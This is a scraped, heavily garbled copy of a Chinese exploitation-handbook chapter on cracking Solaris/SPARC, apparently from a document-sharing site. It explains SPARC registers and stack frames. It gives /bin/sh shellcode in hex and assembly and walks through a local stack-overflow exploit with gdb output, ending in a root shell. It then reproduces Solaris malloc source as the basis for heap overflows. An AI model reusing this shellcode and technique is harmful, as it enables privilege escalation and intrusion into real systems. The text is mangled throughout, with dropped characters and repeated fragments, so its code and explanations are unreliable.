手册10 solaris破解入门_第1页
手册10 solaris破解入门_第2页
手册10 solaris破解入门_第3页
手册10 solaris破解入门_第4页
手册10 solaris破解入门_第5页
已阅读5页,还剩46页未读 继续免费阅读

付费下载

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

破解入⻔很长 破解入⻔很长一段时间以来,Solaris主要支持高端Web和数据库服务。SolarisInterl发行版,但绝大多数的Solaris还是运行在SPARC平台之上。我们在本章将把精力放在然这样的称呼已渐渐被大家遗忘了,现在常见的版本是2.6,7,8,和9。的网络服务,例如,默认安装Solaris9启用20RPC服务。在以前,RPC服务里涌(sadincstatatoounrshddtspcdlpd位的文件,因此,在正式使用Solaris前,应该对它进行仔细地加固。当然,Solars也内置了一些安全功能,包括进程记帐、审计、和可选的non-栈。从管理员的立场来看,启用这个选项是值得的,因为它提供了一定程度上的保护10.1SPARC体系结构介绍ScalableProcessorArchitecture(SPARC)是广泛使用的硬件平台Solaris的支持非的低效率运行模式中,可以运行64位及32位程序。除此CPU实际上都是来Sun的SPARCv7v832位模式下运行Solaris7,8964位内核,可以64位用户模式的程序;然而,大多数用户模式的程序是32位运行的SPARC处理器有32个通用寄存器,随时可以使用。其中一些有特殊用途,剩下的由BUS错误并引起程序崩溃寄存器和寄存器窗口SPARCCPU可使用的寄存器总数可以改变,但它们分成了固定数量的寄存寄存器和寄存器窗口SPARCCPU可使用的寄存器总数可以改变,但它们分成了固定数量的寄存器窗口。一函数释放局部栈.第一个全局寄存器%g0永远是零。写入它的数据会被丢弃,任何以它为源寄存器的复制操作将把目标操作数设为零。除了%g0之外7个全局寄存器也各有用途10.1.里开始6个输入寄存器(%i0-%i5)传入函数参数。它们作为%o0至%o5传递给函数,递。函数的返回值存贮在%i0里,执行restore时转为%o0。把栈指针作为帧指针保存,restore把保存的栈指针恢复到它原来的地方。restore。在这个值被复制到输入寄存器之后,%o7就变成一个普通用途的寄存器了。总结输入/输出寄存器用途的列表见表10.2.。为了方.里总结saverestore的作用寄存用Firstincomingfunctionargument,return寄存用AlwaysTemporaryGlobalvariableGlobalvariableGlobalvariable表表10.3.save指令的作表10.4.restore指令的leaf函数(那些不调用其它表表10.3.save指令的作表10.4.restore指令的leaf函数(那些不调用其它函数的函数编译器可以生成saverestroesave指令至少在64字节的空间,在必要时也会保存本地寄存器和输入寄存器的内被刷新,从而把寄存器窗口中的数据压延迟槽和其它的体系结构类似,SPARCbranch,calljump时使用延迟槽。在程序执行过程中,有两个寄存器用来指定控制流;%pc是程序计数器,指向当前的指令,%npc这导致在执行流被重定向到目的地址之前,branch/call之后的指CMP%o0,0BEADD%o1,1,1.Inputregistersbecomeoutput2.Originalinputregistersarerestoredfromasavedregister3.Originallocalregistersarerestoredfromasavedregister4.Asaresultofstepone,the%sp(%o6)becomes%fp(%i6)releasinglocalstack1.Localregisters(%l0–%l7)aresavedaspartofaregister2.Inputregisters(%i0–%i7)aresavedaspartofaregister3.Outputregisters(%o0–%o7)becometheinputregisters4.AspecifiedamountofstackspaceisSecondthroughsixthincomingfunctionFramepointer(savedstackReturnFirstoutgoingfunctionargument,returnvaluefromcalledSecondthoughsixthoutgoingfunctionStackContainsreturnaddressimmediatelyaftercall,otherwisegeneralMOV0x10,在这个例子里,如果%o0保MOV0x10,在这个例子里,如果%o0保存零,在0x10008的分支将被采用。然而,在采用这个分支前,0x1000c处的指令被执行。如果这个分支0x10008没有0x1000c处的指令仍被执行,执行0x10010。如果一个分支被取消,例BE,Aaddress,那么仅仅在即使是为了写破解,也没有必要全部理解它们 合成指令SPARC里的许多指令是由其它指令合成的,或者是其它指令的别名。因为所有的指令retjmpli7+8g0,回到保存的返回地址上来。程序计数器的值被丢给%g0寄存器,而Leaf函数用另外的合成指令—retl返回。因为它们不saverestore,因此,返回地址在%o7里。retljmpl%o7+8,%g0的别名。10.2Solaris/SPARCShellcode基础SPARC上的Solaris和其它的UNIX类似,都有明确定义的系统调用接口。传统的Solaris/SPARC和其它的平台差不多,Shellcode使用系统调用而不是调用库函数。网上有无在网上肯定可以找到合适的;然而,如果你希望自己写Shellcode,那么必须掌握本章所介系统通过特殊的8开始系统调用。然而,SunOS最初是用陷0开始系统调用的,只是最近Solaris版本才改8。系统调用号通过全局寄存器%g1指定。作为正常的函数参数6个的系统调用参数都是通过输出寄存器%o0到%o5传递。大多数栈来传递这些额 自定位和SPARCShellcode为了引用自身包含的字符串,需要在内存里定位自己的位置。通过作为存在以及为了避免Shellcode里出现Null字节,所用的指令非常复杂。下面的指令把Shellcode的地址载入寄存器%o7,这个方法工作得很好,在Shellcode里使用多年了\x20\xbf\xff\xff//bn,ashellcode–\x20\xbf\xff\xff//bn,aShellcode里使用多年了\x20\xbf\xff\xff//bn,ashellcode–\x20\xbf\xff\xff//bn,a\x7f\xff\xff\xff//callshellcode+restofnever数器的值存贮在%o7里。上述指令执行的顺序是1,3,4,2,4这段代码导致call的地址保存在%o7里,使Shellcode可以定位它在内存里的字节串简单的SPARCexec介绍一些非常简单的Shellcode,它们在Solaris/SPARC上执行/bin/sh。做的staticchar//1:bn,ascode-bn,ascodecallscode+4add%o7,32,%o0add%o0,8,%o1st%o0,[%o0+st%g0,[%o1+%g0,[%o0+7]11,%g1810://11:shell下面逐行解释这这段熟悉的代码把Shellcode的地址载入%o7定位延续的载入代码。[Locationloadingcode重复一把/bin/sh的地址载入%o0;这是系统调用的第一个参数把函数参数数组的地址载入%o1。这个地址位于/bin/sh后面8个字节结尾后面1个字节处,是系统调用的第用字符串/bin/sh初始化参数数组(argv[0])的第一个成员结尾后面1个字节处,是系统调用的第用字符串/bin/sh初始化参数数组(argv[0])的第一个成员NULL在正确位置写一NULL字节,确保/bin/sh字符串完NULL终止。%g1(1=SYS_exec通过陷阱8(ta=trap)执行系统调用Shell字符 里面有用的系统调用除execv外,Solaris里还有几个系统调用可以使用,在以找到完整的列表。表10.5.提供一个快速预览里面.NOP和填充指令错的选择。但在大多数情况下,SPARC的NOP指令实际上没什么用处,因为它包含三个具有同样的效果。表10.6.是一些例子Sparc填充指字节sub%g1,%g2,andcc%l7,%l7,or%g0,0xfff,系统调510.3 栈帧介绍Solaris/SPARC对栈帧的组织和其它平台类似。10.3 栈帧介绍Solaris/SPARC对栈帧的组织和其它平台类似。栈Intelx86那样,用于保存局部变量和寄存器中的数据(见表10.7.,地址也是从大到小,依次减少。系统在栈上为32位二制文件里的函数至少保留96个字节的空间,这些空间除了保存8个本地寄存器和8个输己保存的寄存器10.7.Solaris的内存管指针。在大多数情况下,整数和指针保存在通用寄存器里,除非是参数的数量超出可用的存器,或者要求它们必须是可寻址的,才会把它们放到栈上10.4栈溢出的方法点不一样,但还是有很多共性 任意的大小溢出改写保存在栈上的指令指针,把执行流重定向到包含Shellcode的地址。然而,因为栈的织形式,它可能只能改写调用函数保存的寄存器。最终的效果是它采用两个函数的最小值Topofstack–HighermemoryFunctionSpacereservedforlocalSize:FunctionSpacereservedforreturnpointerandargumentSize:32FunctionSpacereservedforsavedSize:64Bottomofstack–Lowermemory获取执行控如果你考虑一个假设有栈溢出的函数,这个函数获取执行控如果你考虑一个假设有栈溢出的函数,这个函数的返回地址保存在%i7里。SPARC的ret指令是jmpli7+8,%g0合成的。延迟槽将典型restore指令填充。第ret/restore指令对将产生一个新值,这个值来自从保存的寄存器窗口恢复的%i7。如果这是从栈10.8.显示了栈上保存Solaris/SPARC寄存器窗口信息。这个信息的组织形式和调器(比如说GDB)里输出的差不多。输入寄存器比局部寄存器更靠近栈顶. 寄存器窗口和栈溢出的复杂性在发生溢出时,如果你试图改写的寄存器窗口不在栈上,而是CPU的寄存器里,你内部寄存器。这将使试图改写保存的%i7寄存器的攻击更加困难。效果 其它复杂的因素fault多个保存的寄存器,在帧指针里对齐是基本的保护措施。在执行restore指令时,如果没对齐帧指针,将引起BUS错误,从而导致%i6(saved%i7(saved 可能的解决方法即使第一个寄存器窗 可能的解决方法即使第一个寄存器窗口没有保存在栈上,但仍有一些方法可以执行保存的%i7的栈改导致被立刻刷新入栈。然而,这个方法不太可靠,因为并不是所有的溢出都可以重复利对破解来说,知道最坏的情况对我们有Off-By-One栈溢出漏洞主要是基于指针Intelx86上的破解,最明确的方法是改写保存的帧指针的最没够用时,通常导致一个NULL字节写到边界之外。除字节序问题外,Solaris/SPARC上指针恶化的目标是受限的。它不可能到达帧指针,来说,SPARC的Off-By-One栈溢出最多只提供了有限Shellcode位置些地方,每个地方都有它的优缺点。选择shellcode放在哪里,考虑最多的因素应该是可把shellcode加上大量的填充物后注入环境变量是可能的,这样的话,在可预计的栈地在破解守护程序时,特别是远程守护程序时,在栈上寻Shellcode并执行它仍是一个们可以在shellcode周围注入大量的填充物,并把执行流程指向堆地址,它可以象栈缓冲区溢出那样可靠。然而,在大多数情况下,在堆上寻Shellcode可能要尝试多次,要想可靠掌握目标系统函数库的具体知识。Solaris/SPARC有多种版本的函数库,可能多于其它的商业操作系统Windows;期望libc载入特殊的基地址是不合理的,每个重Solaris址的列表,返回libc的方法对于远程破解来说也许是可行的。对于基于字符串的溢出(复制操NULL字节)来说,通常不可能把执行流程重定向到主程序的可执行的数据部分。许多程序被载入基地址0x00010000,这个地址的高位或堆上存贮Shellcode不能可靠地完成破解,可以试一下这个10.5实际的栈溢出破解适当的演示可以使Solaris/SPARC上基于栈的破解更加通俗易懂。下面使用本方法,介绍在假定的Solaris应用程序里怎样破解栈溢出 脆弱的程序为了演示怎样破解栈溢出,我们专门写了这个脆弱的程序。它不太复杂,你可能会在实的应用程序里发现它的身影;然而,它的确是一个好的起点。脆弱的代intvulnerable_function(char{charstrcpy(buf,userinput);return1;}在这个例子里,userinput是通过命令行传递的第一个参数。注意,这个程序在退出前两次返回,从而给了我们破解的可能性当代码被编译后,从IDAPro里可以看到当代码被编译后,从IDAPro里可以看到和下面类似的=-=%sp,-0xb0,%i0,%fp,var_50,%o0strcpy的第一个参数是目标缓冲区,在这个例子里,它位于帧指令80字节(0x50)内,第一个绝对关键的寄存器是第十五个保存的栈指针%fp,位于寄存器窗56字节首先,用135字节长的字符串作为第一个参数运行程GNUgdb4.18Copyright1998FreeSoftwareFoundation,GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andarewelcometochangeitand/ordistributecopiesofitundercertainconditions.Type"showcopying"toseetheconditions.ThereisabsolutelynowarrantyforType"showwarranty"forThisGDBwasconfiguredas"sparc-sun-solaris2.8"...(nodebuggingsymbolsfound)...(gdb)r`perl-e"print'A'x135"`Startingprogram:/test/./stack_overflow`perl-e"print'A'x135"`(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...Programexited然而,当我们把第一个参数再加上一个字节时,后果就完全不(gdb)r`perl-e"print'A'xStartingprogram:/test/./stack_overflow`perl-e"print'A'x136"`(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...0x10704inmain()(gdb)x/i$pc(gdb)print/x$1=0xbffd28$20x10704inmain()(gdb)x/i$pc(gdb)print/x$1=0xbffd28$2=在这个例子里NULL字节终止的第一个参数改写了帧指针(%i6,或者%fp)的高位字节。正如你看到的,以前保存的寄存器%i5A破坏了。紧跟在保存的帧指针后面的改写所需要的关键信息,现在开始准备编写破解代码 破解代码因为这是本地破解,我们可以完全控制环境变量,对可靠地执行Shellcode来说,这是个地方。我们唯一需要的是Shellcode在内存中的地址,我们可以编写多功能的破解代码这个破解代码包含一个目标结构,详细地说明了不同平台的具体信息,这些信息版本而structcharintlength_until_fp;unsignedlongfp_value;unsignedlongpc_value;intalign;}targets[]={"Solaris9Ultra-}值。破解代码本身简单地构造了以136个填充字节开始的字符串,后面是指定的帧指针序计数器值。下面的Shellcode是破解代码的一部分,与NOP填充物一起放在程序的环量里staticchar//xor%l7,%l7,//量里staticchar//xor%l7,%l7,//xor%l7,%l7,//mov202,//tastaticcharshellcode[]="\x20\xbf\xff\xff"bn,ascode-bn,acallscode+add%o7,add%o0,st%o0,[%o0st%g0,++stb%g0,[%o0+7]mov11,%g1tasetreui(00Shellcode这个攻击代码在第一次运行时,做的事情如下所示GNUgdb4.18Copyright1998FreeSoftwareFoundation,GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouArewelcometochangeitand/ordistributecopiesofitundercertainType"showcopying"toseetheThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.ThisGDBwasconfiguredas"sparc-sun-solaris2.8"...(nodebuggingsymbols(gdb)r(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...0xff3c29a8in??()(gdb)cProgramreceivedsignalSIGILL,Illegalinstruction.0xffbf1018in??()接下来是在内存里寻找Shellcode,并把执行流程重定向到找到的地址。我们Shellcode应该非常好找,因为我们用大量类似NOP的指令填充它,而且,我知道它在程序的环境变量里,所以实际上它应该在栈顶周围,因此,我们在栈顶附近多次按回车键之后,我们在栈上找到一些东西,看起来很象我们的Shellcode这些重复的字节是我们填充的指令,在栈上0xffbffe44处。不过,有些东西不太对劲我们在破解代码里并没有定义像下面这样的空操作指令#defineNOP它们在以4字节对齐的内存中的字节样式是\x2f\xff\x80\x18。因SPARC指令总是以BUS故障。然而,通过向环境变量里增加两个填充字节,我们就可以正确对齐Shellcode,至此,我们应该可以执行Shell了structcharintlength_until_fp;unsignedlongfp_value;unsignedlongpc_value;intalign;}targets[]={"Solaris9Ultra-}校正后的破解代码应该可以}校正后的破解代码应该可以执行shell了。我们检验一$uname-SunOSunknown5.9Genericsun4usparcSUNW,Ultra-$ls-al-rwsr-xr-$16800Aug1920:22#iduid=0(root)#/compbooks/koziol可以找到这个漏洞和破解的源代码(stack_overflow.c和stack_exploit.c10.6Solaris/SPARC上的堆溢出过,SolarisSystemV的堆实现是这样做的。如果程序的特殊信息保存在堆上,而且离溢出点不远,那么通常来说,改写它比改写Solarissystem 堆介绍Solaris的堆实现基于自调整的二叉树,通过块Solarissystem 堆介绍Solaris的堆实现基于自调整的二叉树,通过块(chunk)大小排序。这导致堆的实现相个名realfree()的函数执行。free()函数只对被释放的块执行一些细微的合乎情理的检查,然后把它放到空闲列表里,稍后将对它进行处理。当空闲列表满了,或malloc/realloc被调用时,函数调用cleanfree()刷新空闲列表。Solaris的堆实现执行大多数堆实现的典型操作。在必要时,通过sbrk系统调用增空间,在可能时,会把相邻的空闲块合并在一起 堆的树状结构方法外,你还想研究其它的方法,最好能掌握树状结构。在普通的Solarislibc里,堆实现全部源码如下。第一个源码是malloc.c;第二个是mallint.hCopyright(c)1988AllRightsTHISISUNPUBLISHEDPROPRIETARYSOURCECODEOFAT&TThecopyrightnoticeabovedoesnotevidenceactualorintendedpublicationofsuchsourcecode.**Copyright(c)1996,bySunMicrosystems,Allrights"@(#)malloc.c1.1898/07/21SMI"/*1.30****Memorymanagement:malloc(),realloc(),Thefollowing#-parametersmaybeSEGMENTED:ifdefined,memoryrequestsareassumedto************************non-contiguousacrosscalls************************non-contiguousacrosscallsofGETCORE:afunctiontogetmorecorememory.IfnotSEGMENTED,GETCORE(0)isassumedtoreturnthenextavailableaddress.Defaultis'sbrk'.ERRCORE:theerrorcodeasreturnedbyGETCORE.Defaultis(char*)(-1).CORESIZE:adesiredunit(measuredinbytes)tobewithGETCORE.DefaultisThisalgorithmisbasedonabestfitstrategywithlistsoffreeeltsmaintainedinaself-adjustingbinarytree.Eachlistcontainsalleltsofthesamesize.Thetreeisorderedbyresultsonself-adjustingtrees,seethepaper:Self-AdjustingBinaryTrees,DDSleator&RETarjan,JACMheaderofablockcontainsthesizeofthedatapartinSincethesizeofablockis0%4,thelowtwobitsofthefreeusedas1forbusy(blockisinuse),0forfree.iftheblockisbusy,thisbitis1iftheprecedingblockincontiguousmemoryisfree.Otherwise,itisalwaysTREE/*rootofthefreetree/*thelastfreechunkinthearena*_morecore(size_t);/*functiontogetmorecore/*currenthighaddressofthe/*lastfreedblockwithdataintactt_splay(TREE*);staticstaticcleanfree(voidFREESIZE(1<<5)/*sizeforpreservingfreeblocksuntilFREEMASKstaticstaticcleanfree(voidFREESIZE(1<<5)/*sizeforpreservingfreeblocksuntilFREEMASKFREESIZE-staticvoid/*listofblockstobefreedonnextstaticint/*indexoffreeblocksinflist%*AllocationofsmallstaticTREE*List[MINSIZE/WORDSIZE-1];/*listsofstaticvoid_smalloc(size_t{ size_ti;ASSERT(size%WORDSIZE==wanttoreturnauniquepointeronmalloc(0)*/(size==0)size=listtousei=size/WORDSIZE-if(List[i]=={TREE*np;intn;/*numberofblockstogetatonetimeNPSASSERT((size+WORDSIZE)*NPS>=getNPSoftheseblocktypes((List[i]=_malloc_unlocked((size+WORDSIZE)return(0);*makethemintoalinklistfor(n=0,np=List[i];n<NPS;++n)tp=SIZE(tp)=np=NEXT(tp);AFTER(tp)=np;}AFTER(tp)=}/*allocatefromSIZE(tp)=np=NEXT(tp);AFTER(tp)=np;}AFTER(tp)=}/*allocatefromtheheadofthequeuetp=List[i];List[i]=AFTER(tp);return}void*{void(void)_mutex_lock(&malloc_lock);ret=_malloc_unlocked(size);(void)_mutex_unlock(&malloc_lock);return(ret);}staticvoid_malloc_unlocked(size_t{ASSERT(WORDSIZE==/*makesurethatsizeis0mod/*seeifthelastfreeblockcanbeusedif(Lfree){sp=BLOCK(Lfree);n=SIZE(sp);if(n==size)exactmatch,useitasfreeidxexactmatch,useitasfreeidx=(freeidx+FREESIZE-1)&FREEMASK;/*1back*/flist[freeidx]=Lfree=NULL;return(DATA(sp));}elseif(size>=MINSIZE&&n>size)gotabigenoughfreeidx=(freeidx+FREESIZE-1)&FREEMASK;/*1back*/flist[freeidx]=Lfree=NULL;o_bit1=SIZE(sp)&BIT1;SIZE(sp)=n;goto}}o_bit1=/*performfree'sofspacesincelastsmallblocks*/(size<MINSIZE)returnsearchforaneltoftherightsize==if(Root)tp=Root;while(1){/*branchleftif(SIZE(tp)>=size)if(n==0||n>=SIZE(tp))sp=tp;n=}iftp=}else{/*branchright{iftp=}}if(sp)iftp=}}if(sp)}elseif(tp!=Root)/*makethesearched-toelementRoot=}theroot}/*iffoundnonefittedinthetree*/if(!sp){if(Bottom&&size<={sp=Bottom;}elseif((sp=_morecore(size))==NULL)/*noreturn(NULL);}/*telltheforwardneighborthatwe'rebusy/*iftheleftoverisenoughforanewfreepiece*/if((n=(SIZE(sp)-size))>=MINSIZE+WORDSIZE)n-=SIZE(sp)=size;tp=NEXT(sp);SIZE(tp)=n|BIT0;}elseif(BOTTOM(sp))Bottom=NULL;/*returntheallocatedspaceSIZE(sp)|=BIT0|o_bit1;return(DATA(sp));}****Iftheblocksizeisincreasing,wetryforwardThisisnot}****Iftheblocksizeisincreasing,wetryforwardThisisnotbest-fitbutitavoidssomevoidrealloc(void*old,size_t{/*pointertotheblock(void)_mutex_lock(&malloc_lock);if(old==NULL){new=(void)_mutex_unlock(&malloc_lock);return(new);}/*performfree'sofspacesincelast/*makesurethatsizeis0modALIGN==iftheblockwasfreed,datahasbeendestroyed.(!ISBIT0(ts)){(void)_mutex_unlock(&return}nothingtodoif(size==SIZE(tp))SIZE(tp)=(void)_mutex_unlock(&malloc_lock);return(old);}specialcasesinvolvingsmallblocksSIZE(tp)=(void)_mutex_unlock(&malloc_lock);return(old);}specialcasesinvolvingsmallblocks*/(size<MINSIZE||SIZE(tp)<MINSIZE)gotoblockisincreasinginsize,trymerging(size>SIZE(tp)){np=if{ASSERT(SIZE(np)>=MINSIZE);SIZE(tp)+=SIZE(np)+WORDSIZE;if(np!=Bottom)Bottom=NULL;}thenextblock#ifndef/*notenough&atTRUEendofmemory,tryextending{if(size>SIZE(tp)&&BOTTOM(tp)&&GETCORE(0)==Bottom=tp;if((tp=_morecore(size))=={tp=Bottom;Bottom=}}}/*gotenoughspacetouse*/if(size<=SIZE(tp)){size_tif((n=(SIZE(tp)-size))>=MINSIZE+n-=WORDSIZE;SIZE(tp)=np={SIZE(np)=}elseif(BOTTOM(tp))Bottom=NULL;/*thepreviousblockSIZE(np)=}elseif(BOTTOM(tp))Bottom=NULL;/*thepreviousblockmaybefree*/SETOLD01(SIZE(tp),ts);(void)_mutex_unlock(&return}/*callmalloctogetanewblock*/SETOLD01(SIZE(tp),if((new=_malloc_unlocked(size))!=NULL)if(ts>ts=size;MEMCOPY(new,old,ts);(void)_mutex_unlock(&malloc_lock);return(new);}{***************Attemptspecialcaserecoveryallocationssincemalloc()size<=SIZE(tp)<SimplyreturntheexistingblockSIZE(tp)<size<MINSIZEmalloc()mayhavefailedtoallocatethechunkofsmallblocks.TryaskingforMINSIZEbytes.size<MINSIZE<=malloc()mayhavefailedaswith2.ChangetoMINSIZEallocationwhichistakenfromthebeginningofthecurrentblock.MINSIZE<=SIZE(tp)<Ifthepreviousblockisfreeandthecombinationofthesetwoblockshasatleastsizebytes,thenthetwoblockscopyingtheexistingcontentsif(SIZE(tp)<MINSIZE)if(size<SIZE(tp))/*case1.SETOLD01(SIZE(tp),(void)_mutex_unlock(&return(old);}elseif(size<{size=gotoSETOLD01(SIZE(tp),(void)_mutex_unlock(&return(old);}elseif(size<{size=goto}elseif(size<{size=gotoelseif(ISBIT1(ts)/*case2.}/*case3.}(SIZE(np=LAST(tp))+SIZE(tp)+WORDSIZE)>=size)SIZE(np)+=SIZE(tp)+Sincethecopymayoverlap,useOtherwise,copyby(void)memmove(DATA(np),old,SIZE(tp));old=DATA(np);tp=np;goto}SETOLD01(SIZE(tp),(void)_mutex_unlock(&malloc_lock);return(NULL);}*********CoalescingofadjacentfreeblocksisdoneThen,thenewfreeblockisleaf-insertedintofreewithoutsplaying.ThisstrategydoesnotguaranteetheamortizedO(nlogn)behaviorfortheinsert/delete/findsetofoperationsonthetree.Inpractice,however,freeismuchmoreinfrequentthanmalloc/reallocandthetreesearchesperformedbythesefunctionsadequatelykeepthetreeinstaticrealfree(void{*tp,*sp,ts,pointertotheblock==SIZE(tp);{*tp,*sp,ts,pointertotheblock==SIZE(tp);smallblock,putitintherightlinkedlist*/(SIZE(tp)<MINSIZE){ASSERT(SIZE(tp)/WORDSIZE>=1);ts=SIZE(tp)/WORDSIZE-1;AFTER(tp)=List[ts];List[ts]=tp;}seeifcoalescingwithnextblock=NEXT(tp);if(np!=Bottom)SIZE(tp)+=SIZE(np)+}thesamewiththeprecedingblock*/(ISBIT1(ts)){np=LAST(tp);ASSERT(np!=Bottom);SIZE(np)+=SIZE(tp)+tp=}initializetreeRIGHT(tp)=LINKFOR(tp)PARENT(tp)=LEFT(tp)/*thelastwordofblockcontainsself'saddress*(SELFP(tp))=/*setbottomblock,orinsert*(SELFP(tp))=/*setbottomblock,orinsertinthefreeif(BOTTOM(tp))Bottom=elsesearchfortheplacetoinsert*/(Root){size=SIZE(tp);np=Root;while(1){if(SIZE(np)>{if(LEFT(np))np=LEFT(np);elseLEFT(np)=tp;PARENT(tp)=np;}}elseif(SIZE(np)<{ifnp=RIGHT(np);else{RIGHT(np)=tp;PARENT(tp)=np;}elseif((sp=PARENT(np))!=if(np==LEFT(sp))LEFT(sp)=RIGHT(sp)=tp;PARENT(tp)=sp;}Root=}{/*inserttoheadoflist*/if((sp=LEFT(np))!=PARENT(sp)=LEFT(tp)=if((sp=RIGHT(np))!=PARENT(sp)=RIGHT(tp)=/*doublylinklist*/LINKFOR(tp)=np;LINKBAK(np)=tp;}}}Root=}/*tellRIGHT(tp)=/*doublylinklist*/LINKFOR(tp)=np;LINKBAK(np)=tp;}}}Root=}/*tellnextblockthatthisone}*Getmorecore.GapsinmemoryarenotedstaticTREE_morecore(size_t{n,/*computenewamountofmemorytp=Bottom;n=size+2*addr=toget(addr==returnneedtopadsizeoutso((((size_t)addr)%ALIGN)addrisalignedoffset=ALIGN-(size_t)addr%offset=#ifndefifnotsegmentedmemory,whatweneed(addr==Baddr){n-=if(tp!=n#ifndefifnotsegmentedmemory,whatweneed(addr==Baddr){n-=if(tp!=n-=}getamultipleofCORESIZEn=((nnsize=1)/CORESIZE+1)*+if==returnif(nsize<=LONG_MAX)if(GETCORE(nsize)==return}else*thevaluerequiredistoobigto*inonego,souseGETCORE()atmostdelta=LONG_MAX;while(delta>0){if(GETCORE(delta)=={if(addr!=GETCORE(0))return}nsize-=LONG_MAX;delta=nsize;}}/*contiguousmemory*/if(addr==Baddr){ASSERT(offset==0);if(tp){addr=(charn+=SIZE(tp)+2*}elseaddr=Baddr-WORDSIZE;n+=WORDSIZE;}}addr+=/*newbottomaddress}elseaddr=Baddr-WORDSIZE;n+=WORDSIZE;}}addr+=/*newbottomaddressBaddr=addr+/*newbottomblock*/tp=(TREE*)addr;SIZE(tp)=n-2*ASSERT((SIZE(tp)%==/*reservedthelasttoheadanynoncontiguous/*non-contiguousfreeoldbottomblockif(Bottom&&Bottom!={}return}*Treerotationfunctions(BU:bottom-up,TD:top-LEFT1(x,\if((RIGHT(x)=LEFT(y))!=NULL)PARENT(RIGHT(x))if((PARENT(y)=PARENT(x))!=NULL)\if(LEFT(PARENT(x))==x)LEFT(PARENT(y))=elseRIGHT(PARENT(y))==LEFT(y)=PARENT(x)=if\=RIGHT(y))!=NULL)PARENT(LEFT(x))=if((PARENT(y)=PARENT(x))!=if(LEFT(PARENT(x))==x)LEFT(PARENT(y))=y;\elseRIGHT(PARENT(y))=y;\RIGHT(y)=x;PARENT(x)=BULEFT2(x,y,LEFT(y))LEFT(z))NULL)PARENT(RIGHT(x))=RIGHT(y)=x;PARENT(x)=BULEFT2(x,y,LEFT(y))LEFT(z))NULL)PARENT(RIGHT(x))=!=((PARENT(z)=if(LEFT(PARENT(x))==x)LEFT(PARENT(z))=LEFT(y)=x;PARENT(x)LEFT(z)=y;PARENT(y)yBURIGHT2(x,y,\NULL)PARENT(LEFT(x))=x;\NULL)PARENT(LEFT(y))=!==if(LEFT(PARENT(x))==x)LEFT(PARENT(z))=z;\elseRIGHT(PARENT(z))=z;\RIGHT(z)=y;PARENT(y)=z;RIGHT(y)=x;PARENT(x)=TDLEFT2(x,y, if((RIGHT(y)=LEFT(z))!=NULL)PARENT(RIGHT(y))=y;\if((PARENT(z)=PARENT(x))!=NULL)\if(LEFT(PARENT(x))==x)LEFT(PARENT(z))=z;\elseRIGHT(PARENT(z))=z;\PARENT(x)=z;LEFT(z)=TDRIGHT2(x,y,\if((LEFT(y)=RIGHT(z))!=NULL)PARENT(LEFT(y))=if((PARENT(z)=PARENT(x))!=if(LEFT(PARENT(x))==x)LEFT(PARENT(z))elseRIGHT(PARENT(z))=z;\PARENT(x)=z;RIGHT(z)==*atreestaticvoid{ *tp,*sp,/*ifthisisanon-treenode*/if(ISNOTREE(op)){tp=if((sp=LINKFOR(op))!=LINKBAK(sp)=tp;LINKFOR(tp)=sp;}makeoptherootoftheLINKBAK(sp)=tp;LINKFOR(tp)=sp;}makeoptherootofthetree*/ifthisisthestartofalist*/((tp=LINKFOR(op))!=NULL){PARENT(tp)=if((sp=LEFT(op))!=NULL)PARENT(sp)=tp;LEFT(tp)=if((sp=RIGHT(op))!=NULL)PARENT(sp)=tp;RIGHT(tp)=Root=}ifophasanon-nullleftsubtree((tp=LEFT(op))!=NULL){PARENT(tp)=if(RIGHT(op))/*maketheright-endofleftsubtreeitsrootwhile((sp=RIGHT(tp))!={if((gp=RIGHT(sp))!={TDLEFT2(tp,sp,gp);tp=gp;}elsetp=sp;}/*hooktherightsubtreeofoptotheaboveelt*/RIGHT(tp)=RIGHT(op);}}elseif((tp=RIGHT(op))!=PARENT(tp)=/*Root=}}elseif((tp=RIGHT(op))!=PARENT(tp)=/*Root=}***BottomThebasicpathsplaying(simpleideaistoroughlycutinhalfRoottotpandmaketpthestaticvoid{*pp,/*iterateuntiltpistherootwhile((pp=PARENT(tp))!=NULL)grandparentoftp=xisaleftchild*/(LEFT(pp)==tp){if(gp&&LEFT(gp)=={BURIGHT2(gp,pp,}else}}elseASSERT(RIGHT(pp)==if(gp&&RIGHT(gp)==pp){BULEFT2(gp,pp,tp);}else}}}}***Performsadelayedfreeofthebyold.Thepointertooldissavedonalist,****untilthenextmallocorrealloc.Atthattime,allblockspointedtoinflistareactuallyfreedviarealfree().****untilthenextmallocorrealloc.Atthattime,allblockspointedtoinflistareactuallyfreedviarealfree().Thisallowsthecontentsoffreeblockstoremainundisturbeduntilthenextfree(void{(void)_mutex_lock(&(void)_mutex_unlock(&}_free_unlocked(void{if(old==******Makesurethesamedatablockis3casesarechecked.ItreturnsimmediatelyifoneoftheconditionsisLastNotinuseorfreedalready.Inthefreelist.if(old==Lfree)iffor(i=0;i<freeidx;i++)if(old==flist[i])if(flist[freeidx]!=NULL)flist[freeidx]=Lfree=freeidx=(freeidx+1)&FREEMASK;oneforward}*******cleanfree()freesalltheblockspointedtoberealloc()shouldworkifitiscalledwith*******cleanfree()freesalltheblockspointedtoberealloc()shouldworkifitiscalledwithatoablockthatwasfreedsincethelastcalltorealloc().Ifcleanfree()iscalledfromrealloc(),issettotheoldblockandthatblockfreedsinceitisactuallybeingstaticvoid{flp=(charfor(;;)(flp==(charflp=(char**)&(flist[FREESIZE]);(*--flp==NULL)(*flp!=ptr)*flp=}freeidx=0;Lfree=NULL;}Copyright(c)1988AllRightsTHISISUNPUBLISHEDPROPRIETARYSOURCEThecopyrightnoticeabovedoesnotevidenceactualorintendedpublicationofsuchsource**Copyright(c)1996-1997bySunMicrosystems,Allrights/*/*debuggingmacros((void)((p)||(abort(),((void)nmalloc,nrealloc,/*debuggingmacros((void)((p)||(abort(),((void)nmalloc,nrealloc,#endif/*DEBUG/*functiontocopydatafromoneareatoanotherMEMCOPY(to,fr,((void)memcpy(to,/*for(sizeof(TREE)-sizeofif(s%WORDSIZE)s+=(WORDSIZE-(s%*****Thefollowingdefinitionseaseonamachineinwhichs